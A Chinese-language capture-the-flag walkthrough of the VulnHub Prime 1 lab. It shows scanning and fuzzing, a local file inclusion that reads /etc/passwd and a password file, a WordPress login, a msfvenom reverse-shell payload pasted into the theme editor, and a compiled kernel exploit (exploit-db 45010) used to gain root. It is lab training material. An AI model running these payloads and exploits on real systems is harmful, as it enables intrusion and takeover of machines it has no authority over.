vulnhub-prime1
目录
- 靶场环境
- 解题过程
靶场环境
项目 | ip |
---|---|
靶机(prime) | 未知 |
攻击机(kali) | 10.128.129.128 |
解题过程
打开靶机,我们只能看见一个登录界面,上面只有半截提示
我们首先要做的是主机发现,因为是网络适配器NAT模式,因此我们只需要在一个使用同样网卡NAT模式下的机器即可,这里我们用的是kali,
nmap -sP 10.128.129.1/24
可以看到,这里发现了六个主机,我们只需要根据物理网卡来获取正确的ip地址即可,在Vmware中,打开虚拟机prime的虚拟机设置,在网络适配器界面的高级界面即可看到物理网卡地址(MAC地址),再结合上面的五台主机,可以判断出目标靶机的ip为10.128.129.131
得到目标主机后,我们还需要知道看看主机有哪些端口可以利用,这里还是利用nmap工具,不得不说,这个工具是真好用。
nmap -A -p- -v 10.128.129.131
可以看到这里开放了两个端口,80端口和22端口,22是ssh,而80端口是HTTP的服务端口,意思是我们可以直接利用浏览器来利用这个端口。
http://10.128.129.131/
可以看到,这里通过80端口访问到了服务器,但是服务器中只有一张图片,查看源代码后也没有任何提示信息,毫无头绪?,那就开始目录扫描!
dirb http://10.128.129.131/
这里看到工具扫到了很多的目录,大部分是wordpress目录下的内容,但是这个只是一个开源的博客程序,所以我们这里把重心放在第一条dev文件中
http://10.128.129.131/dev
可以看到,页面有了回显,是个提示内容
你好
现在你处于 0 级阶段。
在现实生活中的渗透测试中,我们应该使用我们的工具非常努力地挖掘 Web。
祝您黑客愉快。
大致意思就是,我们简单的目录扫描是根本扫不出来的,那么我们就需要利用工具进行深入扫描,那么我们在这里扫一些常见的文件类型进行深入扫描。
dirb http://10.128.129.131/ -X .txt,.php,.zip
可以看到,扫到了一些内容,index.php是首页,可以忽略,那么我们对那两个文件进行访问
第一个:image.php
可以看到,这里还是一个图片,跟之前的一摸一样,源代码也大差不大,没有什么提示
第二个:secret.txt
这里是一段文本内容
看来你有一些秘密。
好的,我只是想帮你一些忙。
在您找到的 php 的每一页上多做一些模糊测试。如果
您获得任何正确的参数,然后按照以下步骤操作。如果你还是卡住了
从这里学习一个基本工具,它对 OSCP 有很好的使用。
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
//看到location.txt,你会得到你的下一步//
这是一段提示内容,他的意思是让我们在php文件中做文章,做FUZZ爆破,爆破出参数名,然后再访问location.txt。php的文件我们已经扫出来了,一共两个,相比与index,明显image更可疑,
知道了大概思路,我们就开干!
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/image.php?FUZZ
可以看到,它弹出了很多东西,我们这里只需要进行过滤即可,可以按照word,也可以通过chars过滤。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/image.php?FUZZ
可以看到,这里我们没有扫到什么东西,看来是猜错了>_<
那么,再试试另外一个php文件吧
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/index.php?FUZZ
还是一样,过滤掉其他大多数字符
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/index.php?FUZZ
终于筛出来了,字段名叫file,那么我们这里直接访问location.txt即可
http://10.128.129.131/index.php?file=location.txt
可以看到页面有回显了,又是一段提示,翻译过来就是:
做得更好
好的,现在你真的在确切的参数上
现在为下一个挖掘更多
在其他 PHP 页面上使用 'secrettier360' 参数以获得更多乐趣。
看的出来,这次很明显了,提示我们去image.php文件,用secrettier360作字段名为去访问,那么问题来了,我们访问什么呢?
这里也没有提示了,这么利用我们的尝试,靶场是ubuntu的系统,那么这个系统里是不是有一些默认的文件夹呢?
有,比如/etc/passwd,那么我们试着访问一下
http://10.128.129.131/image.php?secrettier360=/etc/passwd
ke
可以看到,页面有了回显了,在最后一行,作者藏了一个提示,很阴间啊。
提示内容为:
find password.txt file in my directory:/home/saket
翻译一下:
在/home/saket目录中找到password.txt
这段提示很眼熟啊,有没有感觉在哪里见过?
在这里,开始的页面,这原来是那半截提示
回到正题,它已经给了我们提示了,那么就试着去访问一下
http://10.128.129.131/image.php?secrettier360=/home/saket/password.txt
果然是有了内容,翻译一下
最后,您得到了正确的参数
follow_the_ippsec
这个字符的文件名是password,看来这是一个密码
那么此时得到一个密码可以做什么呢?这时候就需要冷静一下,仔细回想还有没有什么漏下的条件。
关于密码,再结合目前条件,好像能用的只有ssh,那么我们可以去靶机界面登录一下试试看
可以看到这个办法不太行
还记得我们之前说过wordpress是一个开源的博客程序吗?我们目前来说,只能去博客碰碰运气,看看是不是某个用户登录的密码。
http://10.128.129.131/wordpress/
可以看到,我们进入了博客的首页,那么在Meta的下面有个Log in,我们进入这个页面尝试登录
进入这个页面后,我们只知道密码,不知道账号,还是无从下手,怎么办呢?
这时候就体现出wordpress的一个特性了,当创建好一个wordpress平台后,会用管理员账户自动发表一篇博客,内容就在首页,如下图
那么这里的victor就是管理员的用户了,单机victor,你会发现url中出现了author=1,这个1可能就是root用户的编号,那么我们再来试试其他的
当你尝试2,3,4等简单数据时,会发现好像很难找到一些用户,那么这里我们用工具cmseek去爆破
wpscan --url http://10.128.129.131/wordpress/ --enumerate u
可以看到,这里它只发现了一个用户,那么我们再碰碰运气,看看账号密码是否匹配
可以看到,我们这里登入了进去,已经进入了程序后台。那么接下来我们该怎么办呢?
wordpress还有个特性,在后台的Appearance的Theme Editor,这是个主题编辑器,用来编辑格式等内容,这部分内容会被执行,那么我们就会有很多方法了,这里我们尝试上传内容,实现反弹链接,从而实现获得root权限
大致思路有了,接下来就是找一个地方,让我们可以编译并运行。
可以看到,我们在右侧选中secret.php时,页面有了提示
哦,你终于得到了一个可写的文件
这很明显就是提示了,我们直接在这里写即可
写什么内容呢?
这里我推荐一个MSF模块,它可以帮我们生成文件
msfconsole
只需要输入msfconsole即可进入模块,只需稍加等待模块启动即可
//这串命令可以生成一个shell.php的恶意文件用于反弹链接
//只需要把ip改为攻击机的ip即可
msfvenom -p php/meterpreter/reverse_tcp lhost=10.128.129.128 lport=7777 -o shell.php
可以看到,我们这里有了shell.php文件,我们接下来复制里面的内容即可
cat shell.php
把这段内容复制到刚才的网页的主题编辑器中,点击左下角的update File上传文件,并且在攻击机中的ms模块开始监听对应端口
//使用监听的模块
use exploit/multi/handler
//设置payload为php的反弹链接
set payload php/meterpreter/reverse_tcp
//设置监听的ip和端口
set lhost 10.128.129.128
set lport 7777
//开始监听
exploit
好,现在完事具备,只欠东风,我们只需要访问secret.php文件,即可在攻击机中完成反弹链接
访问地址在哪呢?
这也是wordpress的特征,可以说是固定格式吧
http://10.128.129.131/wordpress/wp-content/themes/twentynineteen/secret.php
访问之后可以看到完成反弹连接了,接下来,进行提权,获取root权限
我个人认为最简单的办法是利用现成的漏洞,那么这里我们看看操作系统的版本信息
sysinfo
这里获取到了操作系统的版本,是Ubuntu 16.04.2
这里我们再开一个命令窗口,进入msf模块,查看ubuntu的版本漏洞有没有可以直接利用的。
searchsploit 16.04 Ubuntu
可以看到,这里有一个能用的漏洞,路径为 linux/local45010.c,那么我们只需要将他拿出来用即可
再次新开一个命令窗口
//将文件copy到工作目录
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
复制过来后,我们还需要将其编译才能运用,它的后缀为c,那么我们可以直接在当前命令框中编译
gcc 45010.c -o 45010
好,此时就可以直接利用了,利用方式的话,只需要将该文件上传到靶机即可
我们切换到msf监听的窗口
upload /root/45010 /tmp/45010
此时我们看看这个文件上传上去后,有没有权限来运行
cd /tmp
ls
可以看到,没有运行的权限,那么我们只需要修改权限即可
//进入shell模式
shell
//进入tmp目录
cd /tmp
//修改权限
chmod +x 45010
//运行文件
./45010
此时就会发现自己是root用户了